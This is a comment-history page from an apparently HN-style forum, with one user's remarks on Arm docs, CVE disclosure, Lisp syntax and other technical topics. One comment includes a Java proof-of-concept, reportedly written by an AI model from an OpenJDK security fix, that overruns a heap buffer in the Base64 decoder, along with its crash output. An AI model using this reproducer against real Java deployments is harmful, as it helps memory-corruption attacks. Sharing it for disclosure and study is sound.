Better HN
topnewbestaskshowjobs
Log inSign up

fweimer

1,959 karma · joined Apr 18, 2022 (4y ago) · 838 submissions

Submissions

comment 1d ago · link · parent

I don't see much difference between this: https://arm.jonpalmisc.com/latest_aarch64/abs

And this: https://www.scs.stanford.edu/~zyedidia/arm64/abs.html

Are people using variants of the same conversion tool to extract this from the Arm documentation? (I assume it's not a straight copy of HTML files in some Arm SDK.)

comment 5d ago · link · parent

Primary source: https://investigatorypowerstribunal.org.uk/judgement/1-mr-vi...

The key finding seems to be that the media learned of the technical capability notice through confidential security briefings, and not a leak (“one of those irregular verbs”).

The contents of the note remains secret for now.

comment 1w ago · link · parent

GLM 5.3 produced this after a bit of prodding. I started out with the C++ sources with a bug marker instead of the fix: https://github.com/openjdk/jdk/commit/5177a70b385c16f26ede19...

There are only a bunch of commits that came in the latest merge of security fixes, and this one changed VBMI-related intrinsics code, so it's a good match for what was publicly disclosed at the time.

    import java.util.Arrays;
    import java.util.Base64;
    
    public class Canary {
        // static fields defeat escape analysis so dst/canary really live in the heap
        static byte[] dst;
        static byte[] canary;
    
        public static void main(String[] args) {
            // (input, expected decodedOutLength) pairs:
            //   65 = "A"*64 + "="    -> fragment "="   (length 1, trailing pad)
            //   66 = "A"*64 + "Q="   -> fragment "Q="  (length 2, trailing pad)
            //   67 = "A"*64 + "QQ="  -> fragment "QQ=" (length 3, trailing pad)
            //   68 = "A"*64 + "QQ==" -> fragment 4 bytes, well-formed control case
            int[][] cases = { { 65, 50 }, { 66, 50 }, { 67, 50 }, { 68, 49 } };
            byte[][] srcs = new byte[cases.length][];
            for (int c = 0; c < cases.length; c++) {
                int len = cases[c][0];
                byte[] src = new byte[len];
                Arrays.fill(src, (byte) 'A');
                if (len == 65) { src[64] = '='; }
                if (len == 66) { src[64] = 'Q'; src[65] = '='; }
                if (len == 67) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '='; }
                if (len == 68) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '=';
                    src[67] = '='; }
                srcs[c] = src;
            }
    
            int iters = 300_000;
            for (int iter = 0; iter < iters; iter++) {
                for (int c = 0; c < cases.length; c++) {
                    byte[] src = srcs[c];
                    int dstLen = cases[c][1];
                    // fresh dst, then canary IMMEDIATELY after it in the TLAB
                    dst = new byte[dstLen];
                    canary = new byte[64];
                    Arrays.fill(canary, (byte) 0x41);
                    int before = canary.length;
                    try {
                        Base64.getDecoder().decode(src, dst);
                    } catch (IllegalArgumentException e) {
                        // expected for the malformed tails
                    }
                    if (canary.length != before || changed(canary)) {
                        System.out.println(
                            "*** ITERATION " + iter + ", input length " + src.length
                            + ": DESTINATION BUFFER OVERRUN DETECTED");
                        System.out.println(
                            "canary.length = " + canary.length + " (expected 64)");
                        System.out.println(
                            "canary bytes  = " + toHex(canary, 48));
                        return;
                    }
                }
                if (iter % 50_000 == 0)
                    System.out.println("iter " + iter + ": clean so far");
            }
            System.out.println(
                "no corruption detected in " + iters + " iterations");
        }
    
        static boolean changed(byte[] b) {
            for (byte x : b) if (x != 0x41) return true;
            return false;
        }
    
        static String toHex(byte[] b, int n) {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 64; i++)
                sb.append(String.format("%02x ", b[i]));
            return sb.toString();
        }
    }
I had to fix toHex() not to use b.length, otherwise it wouldn't print anything due to the negative array length field.

    *** ITERATION 4076, input length 67: DESTINATION BUFFER OVERRUN DETECTED
    canary.length = -1700370022 (expected 64)
    canary bytes  = 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 

GLM had web access for this, and it was able retrieve the OpenJDK fix. I don't know if it found the reproducer in its web searches.

Turning this into a reliable exploit probably still requires some expertise. It's going to depend on heap layout at the time of the overflow. Targets won't be auto-selecting themselves like they did for Log4Shell.

comment 1w ago · link · parent

That's like saying that all memory-safety programs are written in Rust.

There is no fundamental reason why mathematics should be formalized using concepts that are alien to most mathematicians, in the way that type theory is.

(I guess Isabelle/HOL is the Java of formalized mathematics, in the sense that for reasons that are difficult to understand, memory safety of Java-implemented technology does not count.)

comment 1w ago · link · parent

$ is still used today for AT&T syntax x86-64 assembly. It just means that a constant follows. If it's in hexadecimal, it will still need the 0x prefix.

I think Turbo Pascal used $ as a prefix for hexadecimal literals.

comment 1w ago · link · parent

Just get the right turtle or parrot? Mammals might be more difficult, though.

comment 1w ago · link · parent

Well, OpenOffice wouldn't print on Tuesdays:

“ What a fascinating bug!! My wife has complained that open office will never print on Tuesdays!?! Then she demonstrated it. Sure enough, won't print on Tuesday. Other applications print. I think this is the same bug. Here is my guess:

Print to a postscript file. Observe the line: %%CreationDate: (Tue Mar 3 19:47:42 2009)

Change "Tue" to anything else: %%CreationDate: (XTue Mar 3 19:47:42 2009)

Save the file and it prints. Tools like evince work because they simply omit the "CreationDate" tag to begin with.

Now something odd happens when my cups script (I am using the Brother MFC420CN) copies the file to a temp file. Some of the code is rearranged, not sure how or why, but it uses a command called "file" to identify the file as "PostScript". This check would work on the original file you printed, but by the time it runs the check on the temp file, it misidentifies. Normally it would return:

   PostScript document text conforming at level 3.0
But there is another check that happens before the PostScript check. If it finds "Tue" at the fourth byte of the file, it identifies it as:

   Jan 22 14:32:44 MET 1991\011Erlang JAM file - version 4.2
So it's not a problem w/ openoffice.org, cups, or the brother printer drivers. It is a bug in the `file` utility, and documented at https://bugs.launchpad.net/ubuntu/+source/file/+bug/248619. ”

https://bugs.launchpad.net/ubuntu/+source/cupsys/+bug/255161...

comment 2w ago · link · parent

Can you run AArch64 Linux on such a device, or would you better switch to 32-bit Arm due to the very limited RAM capacity?

comment 2w ago · link · parent

A common reporting path for bounties and non-bounty vulnerabilities has always been problematic. This leads to weird scenarios where the company cannot accept reports of denial-of-service vulnerabilities because they are out of scope for bounties, for example. Exclusions from bounties are one thing, but not acting on relevant problems is just a bad idea. The typical bounty program terms are also incompatible with multi-vendor disclosure, where no single vendor can take complete ownership over the disclosure process.

The close proximity to the bounty process can also be challenging to corporate reporters because it could give the impression that they are individually soliciting a gift of non-nominal value from a company that is a supplier or customer in other contexts.

comment 2w ago · link · parent

Even if they don't train on your content, Google reserves the right to use it for improving their services in other ways:

“ This license is for the limited purpose of operating the services, which means allowing the services to work as designed and creating new features and functionalities. ”

https://policies.google.com/terms?hl=en-US#toc-permission

The training exclusion has always been a distraction. These service providers have plenty of other uses for your data.

comment 3w ago · link · parent

O'Reilly used to typeset their books using troff/groff: http://www.lemis.com/grog/Documentation/PUS/tmac.Gbignuts.G (“O'Reilly & Associates book macros by Steve Talbott, Lenny Muellner”)

comment 3w ago · link · parent

Allen AI imposes further restrictions on their model releases, I think: https://allenai.org/responsible-use

comment 4w ago · link · parent

If the user is held accountable when the AI goes wrong, it discourages too many applications. Blaming people is incompatible with the business goals, I think. That's very different from weapons and other dual-use tools.

comment 1mo ago · link · parent

The most charitable interpretation: The new wording includes all forms of covert advertisement (say embedded in the content itself). All their plans always had that.

comment 1mo ago · link · parent

Not sure if the Stratus reference is correct. Big-endian x86-64 is a real thing on HPE NonStop:

“ The executable format that works on HPE Nonstop Compute's OSS is ELF64-bit, Big_Endian, X86_64. ”

https://inbox.sourceware.org/gcc-help/AM7PR02MB6483A12F6B98D...

comment 1mo ago · link · parent

Does the 16 come from maintenance_io_concurrency, which is also used to limit the prefetch depth?

I still think some details are missing for a true explanation of what is going on. Where does the random access pattern come from? Is prefetch unnecessarily performed for full-page images?

comment 1mo ago · link · parent

It's not a press embargo in the sense that the whole package of information becomes public once the embargo expires. There will be a published record on the cve.org, but often those who initiated the embargo insist that key details related to the vulnerability remain private even after the existence of the vulnerability and its remediation have been published.

Consider this example:

https://www.cve.org/CVERecord?id=CVE-2026-113119

At this time, the corresponding Chromium bug tracker entry is still private:

https://issues.chromium.org/issues/557075191

(I just picked this one at random, I haven't checked if the information is publicly available from another source.)

comment 1mo ago · link · parent

I thought that C# does not have escaping interior pointers, unlike Go. Last time I looked at the CLR, I couldn't find support for interior pointers.

comment 1mo ago · link · parent

Is the support gap mostly related to weak references and finalizers? Or is something else missing?

(Obviously those are already pretty significant gaps.)

comment 1mo ago · link · parent

I think with CLOS, you can go back to using single verbs for function names. However, this has a performance cost. Encoding the receiver type in the function names makes the call much easier to optimize.

What remains is field access. Curiously, first-edition K&R C actually required similar type-encoding in field names because field names were global:

https://usenet.trashworldnews.com/?thread=288637

Same for ML, which is roughly of the same age, except that it took much longer for ML-derived languages to lift this restriction.

On the other hand, every time I wrote down examples that I think should look really bad in prefix notation, like this one:

    p3.x := (p1.x + p2.x) / 2;
It is actually not so terrible with a sufficiently streamlined prefix syntax:

    (setf x p3 (/ (+ (. x p1) (. x p2)) 2))
But maybe there should be a mechanism that the reader transforms p1.x to (. x p1), in the same way that it transforms 's into (quote s). Then we get this:

    (setf x p3 (/ (+ p1.x p2.x 2)))
Or if there is a concept of a place:

    (set p3.x (/ (+ p1.x p2.x 2)))
But that probably needs static typing for an efficient implementation (or set needs to deconstruct its first argument during compilation).

comment 2mo ago · link · parent

Where in Italy would you put reactors?

https://maps.eu-risk.eucentre.it/map/european-seismic-risk-i...

Sardinia?

comment 2mo ago · link · parent

When emulated on today's hardware. But the hardware actually available at the time was pretty unreliable by modern standards, I think.

comment 2mo ago · link · parent

Exfiltrating many binaries gives you the right to their source code, or at least triggers attribution requirements for licensing compliance.

But perhaps Meta did the smart thing and put the source code into the VM, too. That would be a very reliable indicator that they expected exfiltration, and this is in fact working as intended.

comment 2mo ago · link · parent

I'm pretty sure people said this about the early COBOL compilers, too. They were buggy, the API had terrible uptime, and was slow to respond.

Overall, this whole approach to programming seems to align really well with the original premise of COBOL. I wonder when people will start putting

# Identification Division

into their Markdown files.

comment 2mo ago · link · parent

There's probably still value (if you want to call it that) in it as a proxy, both to bypass IP address rate limits and to add necessarily credentials.

There's also another aspect Quite a few API providers provide automatic renewal for MCP server registrations, but not for personal access tokens. This may be less relevant when models just drive the user's browser.

comment 2mo ago · link · parent

Likely a reference to ELIZA: https://en.wikipedia.org/wiki/ELIZA

comment 2mo ago · link · parent

It's just a compiler barrier (signal fence), not a memory barrier that concerns the CPU. The CPU is free to reorder loads and stores.

comment 2mo ago · link · parent

Was the public key directory even operational in 2012? What about revocation checking?

I think processing that information is mandatory now, but probably was optional/largely unimplemented in 2012. But maybe I'm off by five years or so?

12345
28